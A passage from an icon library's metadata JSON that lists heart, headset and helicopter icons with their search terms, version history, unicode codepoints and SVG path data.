      ]
    },
    "styles": ["solid"],
    "unicode": "f590",
    "label": "Headset",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48C141.1 48 48 141.1 48 256v40c0 13.3-10.7 24-24 24s-24-10.7-24-24V256C0 114.6 114.6 0 256 0S512 114.6 512 256V400.1c0 48.6-39.4 88-88.1 88L313.6 488c-8.3 14.3-23.8 24-41.6 24H240c-26.5 0-48-21.5-48-48s21.5-48 48-48h32c17.8 0 33.3 9.7 41.6 24l110.4 .1c22.1 0 40-17.9 40-40V256c0-114.9-93.1-208-208-208zM144 208h16c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V272c0-35.3 28.7-64 64-64zm224 0c35.3 0 64 28.7 64 64v48c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V240c0-17.7 14.3-32 32-32h16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48C141.1 48 48 141.1 48 256v40c0 13.3-10.7 24-24 24s-24-10.7-24-24V256C0 114.6 114.6 0 256 0S512 114.6 512 256V400.1c0 48.6-39.4 88-88.1 88L313.6 488c-8.3 14.3-23.8 24-41.6 24H240c-26.5 0-48-21.5-48-48s21.5-48 48-48h32c17.8 0 33.3 9.7 41.6 24l110.4 .1c22.1 0 40-17.9 40-40V256c0-114.9-93.1-208-208-208zM144 208h16c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V272c0-35.3 28.7-64 64-64zm224 0c35.3 0 64 28.7 64 64v48c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V240c0-17.7 14.3-32 32-32h16z"
      }
    },
    "free": ["solid"]
  },
  "heart": {
    "aliases": {
      "unicodes": {
        "composite": [
          "1f499",
          "1f49a",
          "1f49b",
          "1f49c",
          "1f5a4",
          "1f90d",
          "1f90e",
          "1f9e1",
          "2665",
          "2764",
          "f08a"
        ],
        "secondary": ["10f004"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "black",
        "black heart",
        "blue",
        "blue heart",
        "brown",
        "brown heart",
        "card",
        "evil",
        "favorite",
        "game",
        "green",
        "green heart",
        "heart",
        "heart suit",
        "like",
        "love",
        "orange",
        "orange heart",
        "purple",
        "purple heart",
        "red heart",
        "relationship",
        "valentine",
        "white",
        "white heart",
        "wicked",
        "yellow",
        "yellow heart"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f004",
    "label": "Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M225.8 468.2l-2.5-2.3L48.1 303.2C17.4 274.7 0 234.7 0 192.8v-3.3c0-70.4 50-130.8 119.2-144C158.6 37.9 198.9 47 231 69.6c9 6.4 17.4 13.8 25 22.3c4.2-4.8 8.7-9.2 13.5-13.3c3.7-3.2 7.5-6.2 11.5-9c0 0 0 0 0 0C313.1 47 353.4 37.9 392.8 45.4C462 58.6 512 119.1 512 189.5v3.3c0 41.9-17.4 81.9-48.1 110.4L288.7 465.9l-2.5 2.3c-8.2 7.6-19 11.9-30.2 11.9s-22-4.2-30.2-11.9zM239.1 145c-.4-.3-.7-.7-1-1.1l-17.8-20c0 0-.1-.1-.1-.1c0 0 0 0 0 0c-23.1-25.9-58-37.7-92-31.2C81.6 101.5 48 142.1 48 189.5v3.3c0 28.5 11.9 55.8 32.8 75.2L256 430.7 431.2 268c20.9-19.4 32.8-46.7 32.8-75.2v-3.3c0-47.3-33.6-88-80.1-96.9c-34-6.5-69 5.4-92 31.2c0 0 0 0-.1 .1s0 0-.1 .1l-17.8 20c-.3 .4-.7 .7-1 1.1c-4.5 4.5-10.6 7-16.9 7s-12.4-2.5-16.9-7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M225.8 468.2l-2.5-2.3L48.1 303.2C17.4 274.7 0 234.7 0 192.8v-3.3c0-70.4 50-130.8 119.2-144C158.6 37.9 198.9 47 231 69.6c9 6.4 17.4 13.8 25 22.3c4.2-4.8 8.7-9.2 13.5-13.3c3.7-3.2 7.5-6.2 11.5-9c0 0 0 0 0 0C313.1 47 353.4 37.9 392.8 45.4C462 58.6 512 119.1 512 189.5v3.3c0 41.9-17.4 81.9-48.1 110.4L288.7 465.9l-2.5 2.3c-8.2 7.6-19 11.9-30.2 11.9s-22-4.2-30.2-11.9zM239.1 145c-.4-.3-.7-.7-1-1.1l-17.8-20c0 0-.1-.1-.1-.1c0 0 0 0 0 0c-23.1-25.9-58-37.7-92-31.2C81.6 101.5 48 142.1 48 189.5v3.3c0 28.5 11.9 55.8 32.8 75.2L256 430.7 431.2 268c20.9-19.4 32.8-46.7 32.8-75.2v-3.3c0-47.3-33.6-88-80.1-96.9c-34-6.5-69 5.4-92 31.2c0 0 0 0-.1 .1s0 0-.1 .1l-17.8 20c-.3 .4-.7 .7-1 1.1c-4.5 4.5-10.6 7-16.9 7s-12.4-2.5-16.9-7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "heart-circle-bolt": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cardiogram", "ekg", "electric", "heart", "love", "pacemaker"]
    },
    "styles": ["solid"],
    "unicode": "e4fc",
    "label": "Heart Circle Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e4fd",
    "label": "Heart Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e4fe",
    "label": "Heart Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e4ff",
    "label": "Heart Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-plus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e500",
    "label": "Heart Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e501",
    "label": "Heart Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "heart-crack": {
    "aliases": {
      "names": ["heart-broken"],
      "unicodes": {
        "composite": ["1f494"],
        "secondary": ["10f7a9"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "break",
        "breakup",
        "broken",
        "broken heart",
        "crushed",
        "dislike",
        "dumped",
        "grief",
        "love",
        "lovesick",
        "relationship",
        "sad"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a9",
    "label": "Heart Crack",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M119.4 44.1c23.3-3.9 46.8-1.9 68.6 5.3l49.8 77.5-75.4 75.4c-1.5 1.5-2.4 3.6-2.3 5.8s1 4.2 2.6 5.7l112 104c2.9 2.7 7.4 2.9 10.5 .3s3.8-7 1.7-10.4l-60.4-98.1 90.7-75.6c2.6-2.1 3.5-5.7 2.4-8.8L296.8 61.8c28.5-16.7 62.4-23.2 95.7-17.6C461.5 55.6 512 115.2 512 185.1v5.8c0 41.5-17.2 81.2-47.6 109.5L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9L47.6 300.4C17.2 272.1 0 232.4 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M119.4 44.1c23.3-3.9 46.8-1.9 68.6 5.3l49.8 77.5-75.4 75.4c-1.5 1.5-2.4 3.6-2.3 5.8s1 4.2 2.6 5.7l112 104c2.9 2.7 7.4 2.9 10.5 .3s3.8-7 1.7-10.4l-60.4-98.1 90.7-75.6c2.6-2.1 3.5-5.7 2.4-8.8L296.8 61.8c28.5-16.7 62.4-23.2 95.7-17.6C461.5 55.6 512 115.2 512 185.1v5.8c0 41.5-17.2 81.2-47.6 109.5L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9L47.6 300.4C17.2 272.1 0 232.4 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141z"
      }
    },
    "free": ["solid"]
  },
  "heart-pulse": {
    "aliases": {
      "names": ["heartbeat"],
      "unicodes": {
        "secondary": ["10f21e"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ekg", "electrocardiogram", "health", "lifeline", "vital signs"]
    },
    "styles": ["solid"],
    "unicode": "f21e",
    "label": "Heart Pulse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M228.3 469.1L47.6 300.4c-4.2-3.9-8.2-8.1-11.9-12.4h87c22.6 0 43-13.6 51.7-34.5l10.5-25.2 49.3 109.5c3.8 8.5 12.1 14 21.4 14.1s17.8-5 22-13.3L320 253.7l1.7 3.4c9.5 19 28.9 31 50.1 31H476.3c-3.7 4.3-7.7 8.5-11.9 12.4L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9zM503.7 240h-132c-3 0-5.8-1.7-7.2-4.4l-23.2-46.3c-4.1-8.1-12.4-13.3-21.5-13.3s-17.4 5.1-21.5 13.3l-41.4 82.8L205.9 158.2c-3.9-8.7-12.7-14.3-22.2-14.1s-18.1 5.9-21.8 14.8l-31.8 76.3c-1.2 3-4.2 4.9-7.4 4.9H16c-2.6 0-5 .4-7.3 1.1C3 225.2 0 208.2 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141C165 36.5 211.4 51.4 244 84l12 12 12-12c32.6-32.6 79-47.5 124.6-39.9C461.5 55.6 512 115.2 512 185.1v5.8c0 16.9-2.8 33.5-8.3 49.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M228.3 469.1L47.6 300.4c-4.2-3.9-8.2-8.1-11.9-12.4h87c22.6 0 43-13.6 51.7-34.5l10.5-25.2 49.3 109.5c3.8 8.5 12.1 14 21.4 14.1s17.8-5 22-13.3L320 253.7l1.7 3.4c9.5 19 28.9 31 50.1 31H476.3c-3.7 4.3-7.7 8.5-11.9 12.4L283.7 469.1c-7.5 7-17.4 10.9-27.7 10.9s-20.2-3.9-27.7-10.9zM503.7 240h-132c-3 0-5.8-1.7-7.2-4.4l-23.2-46.3c-4.1-8.1-12.4-13.3-21.5-13.3s-17.4 5.1-21.5 13.3l-41.4 82.8L205.9 158.2c-3.9-8.7-12.7-14.3-22.2-14.1s-18.1 5.9-21.8 14.8l-31.8 76.3c-1.2 3-4.2 4.9-7.4 4.9H16c-2.6 0-5 .4-7.3 1.1C3 225.2 0 208.2 0 190.9v-5.8c0-69.9 50.5-129.5 119.4-141C165 36.5 211.4 51.4 244 84l12 12 12-12c32.6-32.6 79-47.5 124.6-39.9C461.5 55.6 512 115.2 512 185.1v5.8c0 16.9-2.8 33.5-8.3 49.1z"
      }
    },
    "free": ["solid"]
  },
  "helicopter": {
    "aliases": {
      "unicodes": {
        "composite": ["1f681"],
        "secondary": ["10f533"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airwolf",
        "apache",
        "chopper",
        "flight",
        "fly",
        "helicopter",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f533",
    "label": "Helicopter",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 32c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H384v64h32c88.4 0 160 71.6 160 160v64c0 17.7-14.3 32-32 32H384 320c-20.1 0-39.1-9.5-51.2-25.6l-71.4-95.2c-3.5-4.7-8.3-8.3-13.7-10.5L47.2 198.1c-9.5-3.8-16.7-12-19.2-22L5 83.9C2.4 73.8 10.1 64 20.5 64H48c10.1 0 19.6 4.7 25.6 12.8L112 128H320V64H160c-17.7 0-32-14.3-32-32zM384 320H512V288c0-53-43-96-96-96H384V320zM630.6 425.4c12.5 12.5 12.5 32.8 0 45.3l-3.9 3.9c-24 24-56.6 37.5-90.5 37.5H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H536.2c17 0 33.3-6.7 45.3-18.7l3.9-3.9c12.5-12.5 32.8-12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 32c0-17.7 14.3-32 32-32H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H384v64h32c88.4 0 160 71.6 160 160v64c0 17.7-14.3 32-32 32H384 320c-20.1 0-39.1-9.5-51.2-25.6l-71.4-95.2c-3.5-4.7-8.3-8.3-13.7-10.5L47.2 198.1c-9.5-3.8-16.7-12-19.2-22L5 83.9C2.4 73.8 10.1 64 20.5 64H48c10.1 0 19.6 4.7 25.6 12.8L112 128H320V64H160c-17.7 0-32-14.3-32-32zM384 320H512V288c0-53-43-96-96-96H384V320zM630.6 425.4c12.5 12.5 12.5 32.8 0 45.3l-3.9 3.9c-24 24-56.6 37.5-90.5 37.5H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H536.2c17 0 33.3-6.7 45.3-18.7l3.9-3.9c12.5-12.5 32.8-12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "helicopter-symbol": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chopper", "helicopter", "landing pad", "whirlybird"]
    },
    "styles": ["solid"],
    "unicode": "e502",
    "label": "Helicopter Symbol",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M445.3 224H510C495.6 108.2 403.8 16.4 288 2V66.7C368.4 80.1 431.9 143.6 445.3 224zM510 288H445.3C431.9 368.4 368.4 431.9 288 445.4V510c115.8-14.4 207.6-106.2 222-222zM2 288C16.4 403.8 108.2 495.6 224 510V445.4C143.6 431.9 80.1 368.4 66.7 288H2zm0-64H66.7C80.1 143.6 143.6 80.1 224 66.7V2C108.2 16.4 16.4 108.2 2 224zm206-64c0-17.7-14.3-32-32-32s-32 14.3-32 32V352c0 17.7 14.3 32 32 32s32-14.3 32-32V288h96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H208V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
